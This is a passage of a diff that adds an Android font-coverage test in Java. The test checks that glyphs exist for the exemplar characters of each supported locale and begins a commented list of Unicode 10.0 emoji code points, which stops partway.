+                + "\u609F\u60A0\u60A8\u60B2\u60B6\u60C5\u60D1\u60DC\u60E0\u60E1"
+                + "\u60F1\u60F3\u60F9\u6101\u6108\u6109\u610F\u611A\u611B\u611F"
+                + "\u6148\u614B\u6155\u6158\u6162\u6163\u6167\u616E\u6170\u6176"
+                + "\u617E\u6182\u6190\u6191\u61B2\u61B6\u61BE\u61C2\u61C9\u61F6"
+                + "\u61F7\u61FC\u6200\u6208\u620A\u620C\u6210-\u6212\u6216\u622A"
+                + "\u6230\u6232\u6234\u6236\u623F-\u6241\u6247\u624B\u624D\u624E"
+                + "\u6253\u6258\u6263\u6265\u626D\u626F\u6279\u627E-\u6280\u6284\u628A"
+                + "\u6293\u6295\u6297\u6298\u62AB\u62AC\u62B1\u62B5\u62B9\u62BD"
+                + "\u62C6\u62C9\u62CB\u62CD\u62CF\u62D2\u62D4\u62D6\u62DB\u62DC"
+                + "\u62EC\u62F3\u62FC\u62FE\u62FF\u6301\u6307\u6309\u6311\u6316"
+                + "\u632A\u632F\u633A\u6350\u6355\u6368\u6372\u6377\u6383\u6388"
+                + "\u6389\u638C\u6392\u639B\u63A1\u63A2\u63A5\u63A7\u63A8\u63AA"
+                + "\u63CF\u63D0\u63D2\u63DA\u63DB\u63E1\u63EE\u63F4\u640D\u6416"
+                + "\u641C\u641E\u642C\u642D\u6436\u6458\u6469\u6478\u6490\u6492"
+                + "\u649E\u64A3\u64A5\u64AD\u64BE\u64BF\u64C1\u64C7\u64CA\u64CB"
+                + "\u64CD\u64CE\u64D4\u64DA\u64E0\u64E6\u64EC\u64F4\u64FA\u64FE"
+                + "\u651D\u652F\u6536\u6539\u653B\u653E\u653F\u6545\u6548\u654D"
+                + "\u654F\u6551\u6557-\u6559\u655D\u6562\u6563\u6566\u656C\u6574"
+                + "\u6575\u6578\u6587\u6590\u6597\u6599\u65AF\u65B0\u65B7\u65B9"
+                + "\u65BC\u65BD\u65C1\u65C5\u65CB\u65CF\u65D7\u65E2\u65E5\u65E6"
+                + "\u65E9\u65ED\u65FA\u6602\u6606\u6607\u660C\u660E\u660F\u6613"
+                + "\u661F\u6620\u6625\u6628\u662D\u662F\u6642\u6649\u6652\u665A"
+                + "\u6668\u666E\u666F\u6674\u6676\u667A\u6691\u6696\u6697\u66AB"
+                + "\u66B4\u66C6\u66C9\u66F0\u66F2\u66F4\u66F8\u66FC\u66FE-\u6700"
+                + "\u6703\u6708\u6709\u670B\u670D\u6717\u671B\u671D\u671F\u6728"
+                + "\u672A-\u672D\u6731\u6735\u6749\u674E\u6750\u6751\u675C\u675F"
+                + "\u676F-\u6771\u677E\u677F\u6790\u6797\u679C\u679D\u67B6\u67CF"
+                + "\u67D0\u67D3\u67D4\u67E5\u67EC\u67EF\u67F3\u67F4\u6817\u6821"
+                + "\u6838\u6839\u683C\u6843\u6848\u684C\u6851\u6881\u6885\u689D"
+                + "\u68A8\u68AF\u68B0\u68B5\u68C4\u68C9\u68CB\u68D2\u68DA\u68EE"
+                + "\u6905\u690D\u6930\u694A\u6953\u6954\u695A\u696D\u6975\u6982"
+                + "\u699C\u69AE\u69CB\u69CD\u6A02\u6A13\u6A19\u6A1E\u6A21\u6A23"
+                + "\u6A39\u6A4B\u6A5F\u6A6B\u6A80\u6A94\u6AA2\u6B04\u6B0A\u6B21"
+                + "\u6B23\u6B32\u6B3A\u6B3D\u6B3E\u6B49\u6B4C\u6B50\u6B61-\u6B66"
+                + "\u6B72\u6B77\u6B78\u6B7B\u6B8A\u6B98\u6BB5\u6BBA\u6BBC\u6BC0"
+                + "\u6BC5\u6BCD\u6BCF\u6BD2\u6BD4\u6BDB\u6BEB\u6C0F\u6C11\u6C23"
+                + "\u6C34\u6C38\u6C42\u6C57\u6C5D\u6C5F-\u6C61\u6C6A\u6C76\u6C7A\u6C7D"
+                + "\u6C83\u6C88\u6C89\u6C92\u6C96\u6C99\u6CB3\u6CB9\u6CBB\u6CBF"
+                + "\u6CC1\u6CC9\u6CCA\u6CD5\u6CE1\u6CE2\u6CE5\u6CE8\u6CF0\u6CF3"
+                + "\u6D0B\u6D17\u6D1B\u6D1E\u6D29\u6D2A\u6D32\u6D3B\u6D3D\u6D3E"
+                + "\u6D41\u6D66\u6D69\u6D6A\u6D6E\u6D77\u6D85\u6D87-\u6D89\u6DAF\u6DB2"
+                + "\u6DB5\u6DBC\u6DD1\u6DDA\u6DE1\u6DE8\u6DF1\u6DF7\u6DFA\u6E05"
+                + "\u6E1B\u6E21\u6E2C\u6E2F\u6E38\u6E3E\u6E56\u6E6F\u6E90\u6E96"
+                + "\u6E9D\u6EAA\u6EAB\u6EC4\u6EC5\u6ECB\u6ED1\u6EF4\u6EFE\u6EFF"
+                + "\u6F02\u6F0F\u6F14\u6F20\u6F22\u6F2B\u6F32\u6F38\u6F54\u6F58"
+                + "\u6F5B\u6F6E\u6F8E\u6FA4\u6FB3\u6FC0\u6FC3\u6FDF\u6FE4\u6FEB"
+                + "\u6FF1\u700F\u704C\u7063\u706B\u7070\u707D\u708E\u70AE\u70B8"
+                + "\u70BA\u70C8\u70CF\u70E4\u7121\u7126\u7136\u7159\u715E\u7167"
+                + "\u7169\u718A\u719F\u71B1\u71C3\u71C8\u71D2\u71DF\u71E6\u7206"
+                + "\u7210\u721B\u722A\u722C\u722D\u7235\u7236\u7238\u723A\u723D"
+                + "\u723E\u7246-\u7248\u724C\u7259\u725B\u7260\u7267\u7269\u7272\u7279"
+                + "\u727D\u72A7\u72AF\u72C0\u72C2\u72C4\u72D0\u72D7\u72E0\u72FC"
+                + "\u731B\u731C\u7334\u7336\u7344\u7345\u734E\u7368\u7372\u7378"
+                + "\u737B\u7384\u7387\u7389\u738B\u73A9\u73AB\u73B2\u73BB\u73CA"
+                + "\u73CD\u73E0\u73E5\u73ED\u73FE\u7403\u7406\u7409\u742A\u7433"
+                + "\u7434\u7459\u745A\u745C\u745E\u745F\u7464\u746A\u7470\u74B0"
+                + "\u74DC\u74E6\u74F6\u7518\u751A\u751C\u751F\u7522\u7528\u752B"
+                + "\u7530-\u7533\u7537\u7538\u754C\u7559\u7562\u7565\u756A\u756B"
+                + "\u7570\u7576\u7586\u758F\u7591\u75BC\u75C5\u75D5\u75DB\u75F4"
+                + "\u760B\u7642\u7661\u7678\u767B-\u767E\u7684\u7686\u7687\u76AE"
+                + "\u76C3\u76CA\u76DB\u76DC\u76DF\u76E1\u76E3\u76E4\u76E7\u76EE"
+                + "\u76F2\u76F4\u76F8\u76FC\u76FE\u7701\u7709\u770B\u771F\u7720"
+                + "\u773C\u773E\u775B\u7761\u7763\u77A7\u77AD\u77DB\u77E3\u77E5"
+                + "\u77ED\u77F3\u7802\u780D\u7814\u7832\u7834\u786C\u788E\u7891"
+                + "\u7897\u789F\u78A7\u78A9\u78B0\u78BA\u78BC\u78C1\u78E8\u78EF"
+                + "\u7901\u790E\u7919\u793A\u793E\u7955\u7956\u795A\u795B\u795D"
+                + "\u795E\u7965\u7968\u797F\u7981\u798D-\u798F\u79AA\u79AE\u79C0\u79C1"
+                + "\u79CB\u79D1\u79D2\u79D8\u79DF\u79E4\u79E6\u79FB\u7A05\u7A0B"
+                + "\u7A0D\u7A2E\u7A31\u7A3F\u7A46\u7A4C\u7A4D\u7A69\u7A76\u7A79"
+                + "\u7A7A\u7A7F\u7A81\u7A97\u7AA9\u7AAE\u7AB6\u7ACB\u7AD9\u7ADF"
+                + "\u7AE0\u7AE5\u7AEF\u7AF6\u7AF9\u7B11\u7B1B\u7B26\u7B28\u7B2C"
+                + "\u7B46\u7B49\u7B4B\u7B54\u7B56\u7B80\u7B97\u7BA1\u7BAD\u7BB1"
+                + "\u7BC0\u7BC4\u7BC7\u7BC9\u7C21\u7C2B\u7C3D\u7C3F\u7C43\u7C4C"
+                + "\u7C4D\u7C64\u7C73\u7C89\u7C97\u7CB5\u7CBE\u7CCA\u7CD5\u7CDF"
+                + "\u7CFB\u7CFE\u7D00\u7D04\u7D05\u7D0D\u7D10\u7D14\u7D19-\u7D1B"
+                + "\u7D20\u7D22\u7D2B\u7D2F\u7D30\u7D39\u7D42\u7D44\u7D50\u7D55"
+                + "\u7D61\u7D66\u7D71\u7D72\u7D93\u7D9C\u7DA0\u7DAD\u7DB1\u7DB2"
+                + "\u7DCA\u7DD2\u7DDA\u7DE3\u7DE8\u7DE9\u7DEC\u7DEF\u7DF4\u7E1B"
+                + "\u7E23\u7E2E\u7E31\u7E3D\u7E3E\u7E41\u7E46\u7E54\u7E5E\u7E6A"
+                + "\u7E73\u7E7C\u7E8C\u7F38\u7F3A\u7F55\u7F6A\u7F6E\u7F70\u7F72"
+                + "\u7F75\u7F77\u7F85\u7F8A\u7F8E\u7F9E\u7FA4\u7FA9\u7FBD\u7FC1"
+                + "\u7FD2\u7FD4\u7FF0\u7FF9\u7FFB\u7FFC\u8000\u8001\u8003\u8005"
+                + "\u800C\u800D\u8010\u8017\u8033\u8036\u804A\u8056\u805A\u805E"
+                + "\u806F\u8070\u8072\u8077\u807D\u8089\u809A\u80A1\u80A5\u80A9"
+                + "\u80AF\u80B2\u80CC\u80CE\u80D6\u80DE\u80E1\u80F8\u80FD\u8106"
+                + "\u812B\u8153\u8154\u8166\u8170\u8173\u817F\u81BD\u81C9\u81D8"
+                + "\u81E3\u81E5\u81E8\u81EA\u81ED\u81F3\u81F4\u81FA\u8207-\u820A"
+                + "\u820C\u820D\u8212\u821E\u821F\u822A\u822C\u8239\u8266\u826F"
+                + "\u8272\u827E\u8292\u829D\u82AC\u82B1\u82B3\u82D7\u82E5\u82E6"
+                + "\u82F1\u8305\u8328\u832B\u8332\u8336\u8349\u8352\u8377\u837C"
+                + "\u8389\u838A\u838E\u83AB\u83DC\u83E9\u83EF\u83F2\u8404\u840A"
+                + "\u842C\u843D\u8449\u8457\u845B\u8461\u8482\u8499\u84B2\u84BC"
+                + "\u84CB\u84EC\u84EE\u8515\u8521\u8523\u856D\u8584\u85A6\u85A9"
+                + "\u85AA\u85C9\u85CD\u85CF\u85DD\u85E4\u85E5\u8606\u8607\u862D"
+                + "\u864E\u8655\u865B\u865F\u8667\u86A9\u86C7\u86CB\u86D9\u8700"
+                + "\u8702\u871C\u8776\u878D\u87A2\u87F2\u87F9\u880D\u883B\u8840"
+                + "\u884C\u8853\u8857\u885B\u885D\u8861\u8863\u8868\u888B\u88AB"
+                + "\u88C1\u88C2\u88D5\u88D8\u88DC\u88DD\u88E1\u88FD\u8907\u8932"
+                + "\u897F\u8981\u8986\u898B\u898F\u8996\u89AA\u89BA\u89BD\u89C0"
+                + "\u89D2\u89E3\u89F8\u8A00\u8A02\u8A08\u8A0A\u8A0E\u8A13\u8A17"
+                + "\u8A18\u8A25\u8A2A\u8A2D\u8A31\u8A34\u8A3B\u8A3C\u8A55\u8A5E"
+                + "\u8A62\u8A66\u8A69\u8A71-\u8A73\u8A87\u8A8C\u8A8D\u8A93\u8A95\u8A9E"
+                + "\u8AA0\u8AA4\u8AAA\u8AB0\u8AB2\u8ABC\u8ABF\u8AC7\u8ACB\u8AD2"
+                + "\u8AD6\u8AF8\u8AFA\u8AFE\u8B00\u8B02\u8B1B\u8B1D\u8B2C\u8B49"
+                + "\u8B58\u8B5C\u8B66\u8B6F\u8B70\u8B77\u8B7D\u8B80\u8B8A\u8B93"
+                + "\u8B9A\u8C37\u8C46\u8C48\u8C50\u8C61\u8C6A\u8C6C\u8C8C\u8C93"
+                + "\u8C9D\u8C9E\u8CA0-\u8CA2\u8CA8\u8CAA-\u8CAC\u8CB4\u8CB7\u8CBB\u8CBC"
+                + "\u8CC0\u8CC7\u8CC8\u8CD3\u8CDC\u8CDE\u8CE2-\u8CE4\u8CE6\u8CEA"
+                + "\u8CED\u8CF4\u8CFA\u8CFC\u8CFD\u8D08\u8D0A\u8D0F\u8D64\u8D6B"
+                + "\u8D70\u8D77\u8D85\u8D8A\u8D95\u8D99\u8DA3\u8DA8\u8DB3\u8DCC"
+                + "\u8DCE\u8DD1\u8DDD\u8DDF\u8DE1\u8DEF\u8DF3\u8E0F\u8E22\u8E5F"
+                + "\u8E64\u8E8D\u8EAB\u8EB2\u8ECA\u8ECC\u8ECD\u8ED2\u8EDF\u8F03"
+                + "\u8F09\u8F14\u8F15\u8F1B\u8F1D\u8F29\u8F2A\u8F2F\u8F38\u8F49"
+                + "\u8F5F\u8F9B\u8FA6\u8FA8\u8FAD\u8FAF-\u8FB2\u8FC5\u8FCE\u8FD1\u8FD4"
+                + "\u8FE6\u8FEA\u8FEB\u8FF0\u8FF4\u8FF7\u8FFD\u9000\u9001\u9003"
+                + "\u9006\u900F\u9010\u9014\u9019-\u901B\u901D\u901F\u9020\u9022"
+                + "\u9023\u9031\u9032\u9038\u903C\u9047\u904A\u904B\u904D\u904E"
+                + "\u9053-\u9055\u9059\u905C\u9060\u9069\u906D\u906E\u9072\u9077"
+                + "\u9078\u907A\u907F-\u9081\u9084\u908A\u908F\u90A3\u90A6\u90AA"
+                + "\u90B1\u90CE\u90E8\u90ED\u90F5\u90FD\u9102\u9109\u912D\u9130"
+                + "\u9149\u914B\u914D\u9152\u9177\u9178\u9189\u9192\u919C\u91AB"
+                + "\u91C7\u91CB-\u91CF\u91D1\u91DD\u91E3\u9234\u9262\u9280\u9285\u9296"
+                + "\u9298\u92B3\u92B7\u92D2\u92FC\u9304\u9322\u9326\u932B\u932F"
+                + "\u934B\u9375\u937E\u938A\u9396\u93AE\u93E1\u9418\u9435\u9451"
+                + "\u9577\u9580\u9583\u9589\u958B\u958F\u9592\u9593\u95A3\u95B1"
+                + "\u95C6\u95CA\u95CD\u95D0\u95DC\u95E1\u9632\u963B\u963F\u9640"
+                + "\u9644\u964D\u9650\u9662-\u9664\u966A\u9670\u9673\u9675-\u9678"
+                + "\u967D\u9686\u968A\u968E\u9694\u969B\u969C\u96A8\u96AA\u96B1"
+                + "\u96B4\u96BB\u96C4-\u96C6\u96C9\u96D6\u96D9\u96DC\u96DE\u96E2"
+                + "\u96E3\u96E8\u96EA\u96F2\u96F6\u96F7\u96FB\u9700\u9707\u970D"
+                + "\u9727\u9732\u9738\u9739\u9742\u9748\u9752\u9756\u975C\u975E"
+                + "\u9760\u9762\u9769\u977C\u978B\u97C3\u97CB\u97D3\u97F3\u97FB"
+                + "\u97FF\u9801\u9802\u9805\u9806\u9808\u9810\u9811\u9813\u9817"
+                + "\u9818\u981E\u982D\u983B\u9846\u984C\u984D\u984F\u9858\u985E"
+                + "\u9867\u986F\u98A8\u98C4\u98DB\u98DF\u98EF\u98F2\u98FD\u98FE"
+                + "\u9905\u990A\u9910\u9918\u9928\u9996\u9999\u99AC\u99D0\u99D5"
+                + "\u99DB\u9A0E\u9A19\u9A37\u9A45\u9A57\u9A5A\u9AA8\u9AD4\u9AD8"
+                + "\u9AEE\u9B06\u9B25\u9B27\u9B31\u9B3C\u9B41\u9B42\u9B45\u9B54"
+                + "\u9B5A\u9B6F\u9BAE\u9CE5\u9CF3\u9CF4\u9D3B\u9D5D\u9DF9\u9E7F"
+                + "\u9E97\u9EA5\u9EB5\u9EBB\u9EBC\u9EC3\u9ECE\u9ED1\u9ED8\u9EDE"
+                + "\u9EE8\u9F13\u9F20\u9F3B\u9F4A\u9F4B\u9F52\u9F61\u9F8D\u9F9C"
+                + "\uFE30-\uFE44\uFE49-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B"
+                + "\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20"
+                + "\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D]"));
+    }
+
+    private String dropRegion(String localeName) {
+        return new Locale.Builder()
+                         .setLanguageTag(localeName)
+                         .setRegion("")
+                         .build()
+                         .toLanguageTag();
+    }
+
+    private UnicodeSet requiredExtraChars(String localeName) {
+        if (EXEMPLAR_MAP.containsKey(localeName)) {
+            return EXEMPLAR_MAP.get(localeName);
+        }
+        // Drop the region code.
+        final String parentLocale = dropRegion(localeName);
+        if (EXEMPLAR_MAP.containsKey(parentLocale)) {
+            return EXEMPLAR_MAP.get(parentLocale);
+        }
+
+        // Unknown locale. Return an empty set.
+        return UnicodeSet.EMPTY;
+    }
+
+    @Test
+    public void testLanguageCoverage() {
+        final Paint paint = new Paint();
+        final String[] localeNames = Resources.getSystem().getStringArray(
+                Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
+
+        final UnicodeSet allRequired = new UnicodeSet(MIN_COVERAGE);
+        // Add all characters needed for supported locales.
+        for (String localeName : localeNames) {
+            allRequired.addAll(requiredExtraChars(localeName));
+        }
+        for (String str : allRequired) {
+            str.codePoints().filter(cp -> {
+                // No need to check for format or control characters. They are handled by
+                // HarfBuzz and other parts of the rendering system.
+                final int gc = UCharacter.getType(cp);
+                return (gc != UCharacterCategory.CONTROL && gc != UCharacter.FORMAT);
+            }).forEach(cp -> {
+                final String characterAsString = new String(Character.toChars(cp));
+                assertTrue(
+                        String.format("No glyph for U+%04X", cp),
+                        paint.hasGlyph(characterAsString));
+            });
+        }
+    }
+
+    // All emoji characters in Unicode 10.0/Emoji 5.0
+    private static final int[] ALL_EMOJI = {
+        0x0023, // NUMBER SIGN
+        0x002A, // ASTERISK
+        0x0030, // DIGIT ZERO
+        0x0031, // DIGIT ONE
+        0x0032, // DIGIT TWO
+        0x0033, // DIGIT THREE
+        0x0034, // DIGIT FOUR
+        0x0035, // DIGIT FIVE
+        0x0036, // DIGIT SIX
+        0x0037, // DIGIT SEVEN
+        0x0038, // DIGIT EIGHT
+        0x0039, // DIGIT NINE
+        0x00A9, // COPYRIGHT SIGN
+        0x00AE, // REGISTERED SIGN
+        0x203C, // DOUBLE EXCLAMATION MARK
+        0x2049, // EXCLAMATION QUESTION MARK
+        0x2122, // TRADE MARK SIGN
+        0x2139, // INFORMATION SOURCE
+        0x2194, // LEFT RIGHT ARROW
+        0x2195, // UP DOWN ARROW
+        0x2196, // NORTH WEST ARROW
+        0x2197, // NORTH EAST ARROW
+        0x2198, // SOUTH EAST ARROW
+        0x2199, // SOUTH WEST ARROW
+        0x21A9, // LEFTWARDS ARROW WITH HOOK
+        0x21AA, // RIGHTWARDS ARROW WITH HOOK
+        0x231A, // WATCH
+        0x231B, // HOURGLASS
+        0x2328, // KEYBOARD
+        0x23CF, // EJECT SYMBOL
+        0x23E9, // BLACK RIGHT-POINTING DOUBLE TRIANGLE
+        0x23EA, // BLACK LEFT-POINTING DOUBLE TRIANGLE
+        0x23EB, // BLACK UP-POINTING DOUBLE TRIANGLE
+        0x23EC, // BLACK DOWN-POINTING DOUBLE TRIANGLE
+        0x23ED, // BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+        0x23EE, // BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+        0x23EF, // BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
+        0x23F0, // ALARM CLOCK
+        0x23F1, // STOPWATCH
+        0x23F2, // TIMER CLOCK
+        0x23F3, // HOURGLASS WITH FLOWING SAND
+        0x23F8, // DOUBLE VERTICAL BAR
+        0x23F9, // BLACK SQUARE FOR STOP
+        0x23FA, // BLACK CIRCLE FOR RECORD
+        0x24C2, // CIRCLED LATIN CAPITAL LETTER M
+        0x25AA, // BLACK SMALL SQUARE
+        0x25AB, // WHITE SMALL SQUARE
+        0x25B6, // BLACK RIGHT-POINTING TRIANGLE
+        0x25C0, // BLACK LEFT-POINTING TRIANGLE
+        0x25FB, // WHITE MEDIUM SQUARE
+        0x25FC, // BLACK MEDIUM SQUARE
+        0x25FD, // WHITE MEDIUM SMALL SQUARE
+        0x25FE, // BLACK MEDIUM SMALL SQUARE
+        0x2600, // BLACK SUN WITH RAYS
+        0x2601, // CLOUD
+        0x2602, // UMBRELLA
+        0x2603, // SNOWMAN
+        0x2604, // COMET
+        0x260E, // BLACK TELEPHONE
+        0x2611, // BALLOT BOX WITH CHECK
+        0x2614, // UMBRELLA WITH RAIN DROPS
+        0x2615, // HOT BEVERAGE
+        0x2618, // SHAMROCK
+        0x261D, // WHITE UP POINTING INDEX
+        0x2620, // SKULL AND CROSSBONES
+        0x2622, // RADIOACTIVE SIGN
+        0x2623, // BIOHAZARD SIGN
+        0x2626, // ORTHODOX CROSS
+        0x262A, // STAR AND CRESCENT
+        0x262E, // PEACE SYMBOL
+        0x262F, // YIN YANG
+        0x2638, // WHEEL OF DHARMA
+        0x2639, // WHITE FROWNING FACE
+        0x263A, // WHITE SMILING FACE
+        0x2640, // FEMALE SIGN
+        0x2642, // MALE SIGN
+        0x2648, // ARIES
+        0x2649, // TAURUS
+        0x264A, // GEMINI
+        0x264B, // CANCER
+        0x264C, // LEO
+        0x264D, // VIRGO
+        0x264E, // LIBRA
+        0x264F, // SCORPIUS
+        0x2650, // SAGITTARIUS
+        0x2651, // CAPRICORN
+        0x2652, // AQUARIUS
+        0x2653, // PISCES
+        0x2660, // BLACK SPADE SUIT
+        0x2663, // BLACK CLUB SUIT
+        0x2665, // BLACK HEART SUIT
+        0x2666, // BLACK DIAMOND SUIT
+        0x2668, // HOT SPRINGS
+        0x267B, // BLACK UNIVERSAL RECYCLING SYMBOL
+        0x267F, // WHEELCHAIR SYMBOL
+        0x2692, // HAMMER AND PICK
+        0x2693, // ANCHOR
+        0x2694, // CROSSED SWORDS
+        0x2695, // STAFF OF AESCULAPIUS
+        0x2696, // SCALES
+        0x2697, // ALEMBIC
+        0x2699, // GEAR
+        0x269B, // ATOM SYMBOL
+        0x269C, // FLEUR-DE-LIS
+        0x26A0, // WARNING SIGN
+        0x26A1, // HIGH VOLTAGE SIGN
+        0x26AA, // MEDIUM WHITE CIRCLE
+        0x26AB, // MEDIUM BLACK CIRCLE
+        0x26B0, // COFFIN
+        0x26B1, // FUNERAL URN
+        0x26BD, // SOCCER BALL
+        0x26BE, // BASEBALL
+        0x26C4, // SNOWMAN WITHOUT SNOW
+        0x26C5, // SUN BEHIND CLOUD
+        0x26C8, // THUNDER CLOUD AND RAIN
+        0x26CE, // OPHIUCHUS
+        0x26CF, // PICK
+        0x26D1, // HELMET WITH WHITE CROSS
+        0x26D3, // CHAINS
+        0x26D4, // NO ENTRY
+        0x26E9, // SHINTO SHRINE
+        0x26EA, // CHURCH
+        0x26F0, // MOUNTAIN
+        0x26F1, // UMBRELLA ON GROUND
+        0x26F2, // FOUNTAIN
+        0x26F3, // FLAG IN HOLE
+        0x26F4, // FERRY
+        0x26F5, // SAILBOAT
+        0x26F7, // SKIER
+        0x26F8, // ICE SKATE
+        0x26F9, // PERSON WITH BALL
+        0x26FA, // TENT
+        0x26FD, // FUEL PUMP
+        0x2702, // BLACK SCISSORS
+        0x2705, // WHITE HEAVY CHECK MARK
+        0x2708, // AIRPLANE
+        0x2709, // ENVELOPE
+        0x270A, // RAISED FIST
+        0x270B, // RAISED HAND
+        0x270C, // VICTORY HAND
+        0x270D, // WRITING HAND
+        0x270F, // PENCIL
+        0x2712, // BLACK NIB
+        0x2714, // HEAVY CHECK MARK
+        0x2716, // HEAVY MULTIPLICATION X
+        0x271D, // LATIN CROSS
+        0x2721, // STAR OF DAVID
+        0x2728, // SPARKLES
+        0x2733, // EIGHT SPOKED ASTERISK
+        0x2734, // EIGHT POINTED BLACK STAR
+        0x2744, // SNOWFLAKE
+        0x2747, // SPARKLE
+        0x274C, // CROSS MARK
+        0x274E, // NEGATIVE SQUARED CROSS MARK
+        0x2753, // BLACK QUESTION MARK ORNAMENT
+        0x2754, // WHITE QUESTION MARK ORNAMENT
+        0x2755, // WHITE EXCLAMATION MARK ORNAMENT
+        0x2757, // HEAVY EXCLAMATION MARK SYMBOL
+        0x2763, // HEAVY HEART EXCLAMATION MARK ORNAMENT
+        0x2764, // HEAVY BLACK HEART
+        0x2795, // HEAVY PLUS SIGN
+        0x2796, // HEAVY MINUS SIGN
+        0x2797, // HEAVY DIVISION SIGN
+        0x27A1, // BLACK RIGHTWARDS ARROW
+        0x27B0, // CURLY LOOP
+        0x27BF, // DOUBLE CURLY LOOP
+        0x2934, // ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
+        0x2935, // ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
+        0x2B05, // LEFTWARDS BLACK ARROW
+        0x2B06, // UPWARDS BLACK ARROW
+        0x2B07, // DOWNWARDS BLACK ARROW
+        0x2B1B, // BLACK LARGE SQUARE
+        0x2B1C, // WHITE LARGE SQUARE
+        0x2B50, // WHITE MEDIUM STAR
+        0x2B55, // HEAVY LARGE CIRCLE
+        0x3030, // WAVY DASH
+        0x303D, // PART ALTERNATION MARK
+        0x3297, // CIRCLED IDEOGRAPH CONGRATULATION
+        0x3299, // CIRCLED IDEOGRAPH SECRET
+        0x1F004, // MAHJONG TILE RED DRAGON
+        0x1F0CF, // PLAYING CARD BLACK JOKER
+        0x1F170, // NEGATIVE SQUARED LATIN CAPITAL LETTER A
+        0x1F171, // NEGATIVE SQUARED LATIN CAPITAL LETTER B
+        0x1F17E, // NEGATIVE SQUARED LATIN CAPITAL LETTER O
+        0x1F17F, // NEGATIVE SQUARED LATIN CAPITAL LETTER P
+        0x1F18E, // NEGATIVE SQUARED AB
+        0x1F191, // SQUARED CL
+        0x1F192, // SQUARED COOL
+        0x1F193, // SQUARED FREE
+        0x1F194, // SQUARED ID
+        0x1F195, // SQUARED NEW
+        0x1F196, // SQUARED NG
+        0x1F197, // SQUARED OK
+        0x1F198, // SQUARED SOS
+        0x1F199, // SQUARED UP WITH EXCLAMATION MARK
+        0x1F19A, // SQUARED VS
+        0x1F1E6, // REGIONAL INDICATOR SYMBOL LETTER A
+        0x1F1E7, // REGIONAL INDICATOR SYMBOL LETTER B
+        0x1F1E8, // REGIONAL INDICATOR SYMBOL LETTER C
+        0x1F1E9, // REGIONAL INDICATOR SYMBOL LETTER D
+        0x1F1EA, // REGIONAL INDICATOR SYMBOL LETTER E
+        0x1F1EB, // REGIONAL INDICATOR SYMBOL LETTER F
+        0x1F1EC, // REGIONAL INDICATOR SYMBOL LETTER G
+        0x1F1ED, // REGIONAL INDICATOR SYMBOL LETTER H
+        0x1F1EE, // REGIONAL INDICATOR SYMBOL LETTER I
+        0x1F1EF, // REGIONAL INDICATOR SYMBOL LETTER J
+        0x1F1F0, // REGIONAL INDICATOR SYMBOL LETTER K
+        0x1F1F1, // REGIONAL INDICATOR SYMBOL LETTER L
+        0x1F1F2, // REGIONAL INDICATOR SYMBOL LETTER M
+        0x1F1F3, // REGIONAL INDICATOR SYMBOL LETTER N
+        0x1F1F4, // REGIONAL INDICATOR SYMBOL LETTER O
+        0x1F1F5, // REGIONAL INDICATOR SYMBOL LETTER P
+        0x1F1F6, // REGIONAL INDICATOR SYMBOL LETTER Q
+        0x1F1F7, // REGIONAL INDICATOR SYMBOL LETTER R
+        0x1F1F8, // REGIONAL INDICATOR SYMBOL LETTER S
+        0x1F1F9, // REGIONAL INDICATOR SYMBOL LETTER T
+        0x1F1FA, // REGIONAL INDICATOR SYMBOL LETTER U
+        0x1F1FB, // REGIONAL INDICATOR SYMBOL LETTER V
+        0x1F1FC, // REGIONAL INDICATOR SYMBOL LETTER W
+        0x1F1FD, // REGIONAL INDICATOR SYMBOL LETTER X
+        0x1F1FE, // REGIONAL INDICATOR SYMBOL LETTER Y
+        0x1F1FF, // REGIONAL INDICATOR SYMBOL LETTER Z
+        0x1F201, // SQUARED KATAKANA KOKO
+        0x1F202, // SQUARED KATAKANA SA
+        0x1F21A, // SQUARED CJK UNIFIED IDEOGRAPH-7121
+        0x1F22F, // SQUARED CJK UNIFIED IDEOGRAPH-6307
+        0x1F232, // SQUARED CJK UNIFIED IDEOGRAPH-7981
+        0x1F233, // SQUARED CJK UNIFIED IDEOGRAPH-7A7A
+        0x1F234, // SQUARED CJK UNIFIED IDEOGRAPH-5408
+        0x1F235, // SQUARED CJK UNIFIED IDEOGRAPH-6E80
+        0x1F236, // SQUARED CJK UNIFIED IDEOGRAPH-6709
+        0x1F237, // SQUARED CJK UNIFIED IDEOGRAPH-6708
+        0x1F238, // SQUARED CJK UNIFIED IDEOGRAPH-7533
+        0x1F239, // SQUARED CJK UNIFIED IDEOGRAPH-5272
+        0x1F23A, // SQUARED CJK UNIFIED IDEOGRAPH-55B6
+        0x1F250, // CIRCLED IDEOGRAPH ADVANTAGE
+        0x1F251, // CIRCLED IDEOGRAPH ACCEPT
+        0x1F300, // CYCLONE
+        0x1F301, // FOGGY
+        0x1F302, // CLOSED UMBRELLA
+        0x1F303, // NIGHT WITH STARS
+        0x1F304, // SUNRISE OVER MOUNTAINS
+        0x1F305, // SUNRISE
+        0x1F306, // CITYSCAPE AT DUSK
+        0x1F307, // SUNSET OVER BUILDINGS
+        0x1F308, // RAINBOW
+        0x1F309, // BRIDGE AT NIGHT
+        0x1F30A, // WATER WAVE
+        0x1F30B, // VOLCANO
+        0x1F30C, // MILKY WAY
+        0x1F30D, // EARTH GLOBE EUROPE-AFRICA
+        0x1F30E, // EARTH GLOBE AMERICAS
+        0x1F30F, // EARTH GLOBE ASIA-AUSTRALIA
+        0x1F310, // GLOBE WITH MERIDIANS
+        0x1F311, // NEW MOON SYMBOL
+        0x1F312, // WAXING CRESCENT MOON SYMBOL
+        0x1F313, // FIRST QUARTER MOON SYMBOL
+        0x1F314, // WAXING GIBBOUS MOON SYMBOL
+        0x1F315, // FULL MOON SYMBOL
+        0x1F316, // WANING GIBBOUS MOON SYMBOL
+        0x1F317, // LAST QUARTER MOON SYMBOL
+        0x1F318, // WANING CRESCENT MOON SYMBOL
+        0x1F319, // CRESCENT MOON
+        0x1F31A, // NEW MOON WITH FACE
+        0x1F31B, // FIRST QUARTER MOON WITH FACE
